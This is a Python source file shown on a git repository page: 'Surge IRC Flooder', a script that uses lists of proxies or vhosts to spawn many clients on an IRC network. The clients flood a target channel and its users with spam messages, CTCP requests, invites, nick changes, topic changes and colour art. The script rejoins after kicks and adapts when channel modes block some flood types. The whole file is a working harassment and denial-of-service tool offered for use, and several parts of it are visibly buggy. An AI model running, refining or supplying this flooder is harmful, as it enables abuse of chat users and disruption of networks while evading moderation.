archive

- Random tools & helpful resources for IRC
git clone git://git.acid.vegas/archive.git
Log | Files | Refs | Archive

surge.py (12214B)

      1 #!/usr/bin/env python
      2 # -*- coding: utf-8 -*-
      3 # Surge IRC Flooder - Developed by acidvegas in Python (https://acid.vegas/random-irc)
      4 # surge.py
      5 
      6 '''
      7 - Action
      8 - Color
      9 - CTCP Channel / CTCP Nick *(PING, TIME, VERSION)*
     10 - Cycle *(Join/Part)*
     11 - Hilight
     12 - Invite
     13 - Message / Private Message
     14 - Nick
     15 - Notice
     16 - Topic
     17 - Nick Registration (Channel & VHOST also if successful)
     18 
     19 The script uses IRC numeric detection and will stop a specific flood type if it becomes blocked.
     20 If the channel becomes locked out due to a ban or specific mode, it will continue to flood the nicklist.
     21 '''
     22 
     23 import argparse
     24 import concurrent.futures
     25 import os
     26 import random
     27 import ssl
     28 import socket
     29 import string
     30 import sys
     31 import threading
     32 import time
     33 
     34 class config:
     35 	class connection:
     36 		server    = 'irc.network.com'
     37 		port      = 6667
     38 		ipv6      = False
     39 		ssl       = False
     40 		password  = None
     41 		channel   = '#channel'
     42 		key       = None
     43 
     44 	class attacks:
     45 		channel  = ['action','color','ctcp','msg','nick','notice','part','topic']
     46 		message  = 'SURGE SURGE SURGE SURGE SURGE'
     47 		nicklist = ['ctcp','invite','notice','private']
     48 
     49 	class throttle:
     50 		attack      = 3
     51 		concurrency = 3
     52 		threads     = 100
     53 		rejoin      = 3
     54 		timeout     = 15
     55 
     56 # Bad IRC Numerics
     57 bad_numerics = {
     58 	'465' : 'ERR_YOUREBANNEDCREEP',
     59 	'471' : 'ERR_CHANNELISFULL',
     60 	'473' : 'ERR_INVITEONLYCHAN',
     61 	'474' : 'ERR_BANNEDFROMCHAN',
     62 	'475' : 'ERR_BADCHANNELKEY',
     63 	'477' : 'ERR_NEEDREGGEDNICK',
     64 	'519' : 'ERR_TOOMANYUSERS'
     65 }
     66 
     67 def alert(msg):
     68 	print(f'{get_time()} | [+] - {msg}')
     69 
     70 def debug(msg):
     71 	print(f'{get_time()} | [~] - {msg}')
     72 
     73 def error(msg, reason=None):
     74 	if reason:
     75 		print(f'{get_time()} | [!] - {msg} ({reason})')
     76 	else:
     77 		print(f'{get_time()} | [!] - {msg}')
     78 
     79 def error_exit(msg):
     80 	raise SystemExit(f'{get_time()} | [!] - {msg}')
     81 
     82 def get_time():
     83 	return time.strftime('%I:%M:%S')
     84 
     85 def keep_alive():
     86 	try:
     87 		while True:
     88 			input('')
     89 	except KeyboardInterrupt:
     90 		sys.exit()
     91 
     92 def random_int(min, max):
     93 	return random.randint(min, max)
     94 
     95 def random_str(size):
     96 	return ''.join(random.choice(string.ascii_letters) for _ in range(size))
     97 
     98 class clone:
     99 	def __init__(self, data_line):
    100 		self.data_line      = data_line
    101 		self.invite_channel = '#' + random_str(random_int(4,7))
    102 		self.invite_count   = 0
    103 		self.nickname       = random_str(random_int(4,7))
    104 		self.nicklist       = []
    105 		self.sock           = None
    106 
    107 	def run(self):
    108 		self.connect()
    109 
    110 	def action(self, chan, msg):
    111 		self.sendmsg(chan, f'\x01ACTION {msg}\x01')
    112 
    113 	def attack_channel(self):
    114 		while True:
    115 			if not config.attacks.channel:
    116 				error('Channel attack list is empty.')
    117 				break
    118 			else:
    119 				option = random.choice(config.attacks.channel)
    120 				try:
    121 					if option in ('nick','part','topic'):
    122 						if option == 'nick':
    123 							self.nickname = random_str(random_int(4,7))
    124 							self.nick(self.nickname)
    125 						elif option == 'part':
    126 							self.part(config.connection.channel, config.attacks.message)
    127 							time.sleep(config.throttle.rejoin)
    128 							self.join_channel(config.connection.channel, config.connection.key)
    129 						elif option == 'topic':
    130 							self.topic(config.connection.channel, '{0} {1} {2}'.format(random_str(random_int(5,10)), config.attacks.message, random_str(random_int(5, 10))))
    131 					else:
    132 						if self.nicklist:
    133 							message = self.rainbow('{0} {1} {2}'.format(' '.join(random.sample(self.nicklist, 3)), config.attacks.message, ' '.join(random.sample(self.nicklist, 3))))
    134 						else:
    135 							message = self.rainbow(config.attacks.message)
    136 						if option == 'action':
    137 							self.action(config.connection.channel, message)
    138 						elif option == 'ctcp':
    139 							self.ctcp(config.connection.channel, message)
    140 						elif option == 'msg':
    141 							self.sendmsg(config.connection.channel, message)
    142 						elif option == 'notice':
    143 							self.notice(config.connection.channel, message)
    144 					time.sleep(config.throttle.attack)
    145 				except:
    146 					break
    147 
    148 	def attack_nicklist(self):
    149 		while True:
    150 			if not self.nicklist:
    151 				error('Nicklist attack list is empty.')
    152 				break
    153 			else:
    154 				try:
    155 					for nick in self.nicklist:
    156 						option = random.choice(config.attacks.nicklist)
    157 						if option == 'ctcp':
    158 							self.ctcp(nick, random.choice(('PING','TIME','VERSION')))
    159 						elif option == 'invite':
    160 							self.invite(nick, self.invite_channel)
    161 							self.invite_count += 1
    162 							if self.invite_count >= 10:
    163 								self.part(self.invite_channel)
    164 								self.invite_channel = '#' + random_str(random_int(5,8))
    165 								self.join(self.invite_channel)
    166 						elif option == 'notice':
    167 							self.notice(nick, config.attacks.message)
    168 						elif option == 'private':
    169 							self.sendmsg(nick, self.rainbow(config.attacks.message))
    170 						time.sleep(config.throttle.attack)
    171 				except:
    172 					break
    173 
    174 	def connect(self):
    175 		try:
    176 			self.create_socket()
    177 			self.sock.connect((config.connection.server, config.connection.port))
    178 			self.register()
    179 		except socket.error:
    180 			self.sock.close()
    181 		else:
    182 			self.listen()
    183 
    184 	def create_socket(self):
    185 		family = socket.AF_INET6 if config.connection.ipv6 else socket.AF_INET
    186 		if pargs.proxy:
    187 			proxy_server, proxy_port = self.data_line.split(':')
    188 			self.sock = socks.socksocket(family, socket.SOCK_STREAM)
    189 			self.sock.setblocking(0)
    190 			self.sock.settimeout(config.throttle.timeout)
    191 			self.sock.setproxy(socks.PROXY_TYPE_SOCKS5, proxy_server, int(proxy_port))
    192 		elif pargs.vhost:
    193 			self.sock = socket.socket(family, socket.SOCK_STREAM)
    194 			self.sock.bind((self.data_line, 0))
    195 		if config.connection.ssl:
    196 			self.sock = ssl.wrap_socket(self.sock)
    197 
    198 	def ctcp(self, target, data):
    199 		self.sendmsg(target, f'\001{data}\001')
    200 
    201 	def event_connect(self):
    202 		alert(f'Successful connection. ({self.proxy_server}:{self.proxy_port})')
    203 		self.join_channel(config.connection.channel, config.connection.key)
    204 		self.join_channel(self.invite_channel)
    205 
    206 	def event_end_of_names(self):
    207 		threading.Thread(target=self.attack_channel).start()
    208 		threading.Thread(target=self.attack_nicklist).start()
    209 
    210 	def event_kick(self, chan, kicked):
    211 		if kicked == self.nickname:
    212 			time.sleep(config.throttle.rejoin)
    213 			self.join_channel(config.connection.channel, config.connection.key)
    214 		else:
    215 			if nick in self.nicklist:
    216 				self.nicklist.remove(nick)
    217 
    218 	def event_names(self, chan, names):
    219 		for name in names:
    220 			if name[:1] in '~!@%&+:':
    221 				name = name[1:]
    222 			if name != self.nickname and name not in self.nicklist:
    223 				self.nicklist.append(name)
    224 
    225 	def event_nick_in_use(self):
    226 		self.nickname = random_str(random_int(5,8))
    227 		self.nick(self.nickname)
    228 
    229 	def event_quit(self, nick):
    230 		if nick in self.nicklist:
    231 			self.nicklist.remove(nick)
    232 
    233 	def handle_events(self, data):
    234 		args = data.split()
    235 		if args[0] == 'PING':
    236 			self.raw('PONG ' + args[1][1:])
    237 		elif args[1] == '001':
    238 			self.event_connect()
    239 		elif args[1] == '353':
    240 			chan = args[4]
    241 			if ' :' in data:
    242 				names = data.split(' :')[1].split()
    243 			elif ' *' in data:
    244 				names = data.split(' *')[1].split()
    245 			elif ' =' in data:
    246 				names = data.split(' =')[1].split()
    247 			else:
    248 				names = data.split(chan)[1].split()
    249 			self.event_names(chan, names)
    250 		elif args[1] == '366':
    251 			self.event_end_of_names()
    252 		elif args[1] == '401':
    253 			name = args[3]
    254 			if name in self.nicklist:
    255 				self.nicklist.remove(name)
    256 		elif args[1] == '404':
    257 			if 'ACTIONs are not permitted' in data and 'action' in config.attacks.channel:
    258 				config.attacks.channel.remove('action')
    259 			elif 'Color is not permitted' in data and 'color' in config.attacks.channel:
    260 				config.attacks.channel.remove('color')
    261 			elif 'CTCPs are not permitted' in data and 'ctcp' in config.attacks.channel:
    262 				config.attacks.channel.remove('ctcp')
    263 			elif 'You need voice' in data or 'You must have a registered nick' in data:
    264 				for attack in ('action','ctcp','msg','notice','topic'):
    265 					if attack in config.attacks.channel:
    266 						config.attacks.channel.remove(attack)
    267 			elif 'NOTICEs are not permitted' in data and 'notice' in config.attacks.channel:
    268 				self.attacks_channel.remove('notice')
    269 		elif args[1] == '433':
    270 			self.event_nick_in_use()
    271 		elif args[1] == '447':
    272 			if 'nick' in config.attacks.channel:
    273 				config.attacks.channel.remove('nick')
    274 		elif args[1] == '482':
    275 			if 'topic' in config.attacks.channel:
    276 				config.attacks.channel.remove('topic')
    277 		elif args[1] == '492':
    278 			if 'ctcp' in config.attacks.nicklist:
    279 				config.attacks.nicklist.remove('ctcp')
    280 		elif args[1] == '499':
    281 			if 'topic' in config.attacks.channel:
    282 				config.attacks.channel.remove('topic')
    283 		elif args[1] == '518':
    284 			if 'invite' in config.attacks.nicklist:
    285 				config.attacks.nicklist.remove('invite')
    286 		elif args[1] in bad_numerics:
    287 			error('Flood protection has been enabled!', bad_numerics[args[1]])
    288 			self.sock.close()
    289 		elif args[1] == 'KICK':
    290 			chan   = args[2]
    291 			kicked = args[3]
    292 			self.event_kick(chan, kicked)
    293 		elif args[1] == 'QUIT':
    294 			nick = args[0].split('!')[0][1:]
    295 			self.event_quit(nick)
    296 
    297 	def invite(self, nick, chan):
    298 		self.raw(f'INVITE {nick} {chan}')
    299 
    300 	def join_channel(self, chan, key=None):
    301 		if key:
    302 			self.raw(f'JOIN {chan} {key}')
    303 		else:
    304 			self.raw('JOIN ' + chan)
    305 
    306 	def listen(self):
    307 		while True:
    308 			try:
    309 				data = self.sock.recv(1024).decode('utf-8')
    310 				for line in (line for line in data.split('\r\n') if line):
    311 					if len(line.split()) >= 2:
    312 						self.handle_events(line)
    313 			except (UnicodeDecodeError,UnicodeEncodeError):
    314 				pass
    315 			except:
    316 				break
    317 		self.sock.close()
    318 
    319 	def nick(self, nick):
    320 		self.raw('NICK ' + nick)
    321 
    322 	def notice(self, target, msg):
    323 		self.raw(f'NOTICE {target} :{msg}')
    324 
    325 	def part(self, chan, msg):
    326 		self.raw(f'PART {chan} :{msg}')
    327 
    328 	def rainbow(self, msg):
    329 		if 'color' in config.attacks.channel:
    330 			message = ''
    331 			for i in range(random_int(10,20)):
    332 				message += '\x03{0:0>2},{1:0>2}{2}'.format(random_int(2,13), random_int(2,13), '▄')
    333 			message += '\x03{0:0>2} {1} '.format(random_int(2,13), msg)
    334 			for i in range(random_int(10,20)):
    335 				message += '\x03{0:0>2},{1:0>2}{2}'.format(random_int(2,13), random_int(2,13), '▄')
    336 		else:
    337 			message = '{0} {1} {2}'.format(random_str(random_int(10,20)), msg, random_str(random_int(10,20)))
    338 		return message
    339 
    340 	def raw(self, msg):
    341 		self.sock.send(bytes(msg + '\r\n', 'utf-8'))
    342 
    343 	def register(self):
    344 		if config.connection.password:
    345 			self.raw('PASS ' + config.connection.password)
    346 		self.raw('USER {0} 0 * :{1}'.format(random_str(random_int(5,8)), random_str(random_int(5,8))))
    347 		self.nick(self.nickname)
    348 
    349 	def sendmsg(self, target, msg):
    350 		self.raw(f'PRIVMSG {target} :{msg}')
    351 
    352 	def topic(self, chan, text):
    353 		self.raw(f'TOPIC {chan} :{text}')
    354 
    355 	def unicode(self, msg):
    356 		start = 0x1000
    357 		end   = 0x3000
    358 		message = ''
    359 		for i in range(random.randint(100,150)):
    360 			message = message + chr(random.randint(start, end))
    361 		message = message + msg
    362 		for i in range(random.randint(100,150)):
    363 			message = message + chr(random.randint(start, end))
    364 
    365 
    366 # Main
    367 print('#'*56)
    368 print('#{0}#'.format(''.center(54)))
    369 print('#{0}#'.format('Surge IRC Flooder'.center(54)))
    370 print('#{0}#'.format('Developed by acidvegas in Python'.center(54)))
    371 print('#{0}#'.format('https://acid.vegas/trollbots'.center(54)))
    372 print('#{0}#'.format(''.center(54)))
    373 print('#'*56)
    374 parser = argparse.ArgumentParser(usage='%(prog)s <input> [options]')
    375 parser.add_argument('input',         help='file to scan')
    376 parser.add_argument('-p', '--proxy', help='proxy list', action='store_true')
    377 parser.add_argument('-v', '--vhost', help='vhost list', action='store_true')
    378 pargs = parser.parse_args()
    379 if (pargs.proxy and pargs.vhost) or (not pargs.proxy and not pargs.vhost):
    380 	error_exit('Invalid arguments.')
    381 if pargs.proxy:
    382 	try:
    383 		import socks
    384 	except ImportError:
    385 		error_exit('Missing PySocks module! (https://pypi.python.org/pypi/PySocks)')
    386 if not os.path.isfile(pargs.input):
    387 	error_exit('No such input file.')
    388 data_lines = [line.strip() for line in open(pargs.input).readlines() if line]
    389 debug(f'Loaded {len(data_lines)} lines from file.')
    390 random.shuffle(data_lines)
    391 for i in range(config.throttle.concurrency):
    392 	with concurrent.futures.ThreadPoolExecutor(max_workers=config.throttle.threads) as executor:
    393 		checks = {executor.submit(clone(line).connect): line for line in data_lines}
    394 		for future in concurrent.futures.as_completed(checks):
    395 			checks[future]
    396 debug('Flooding is complete.')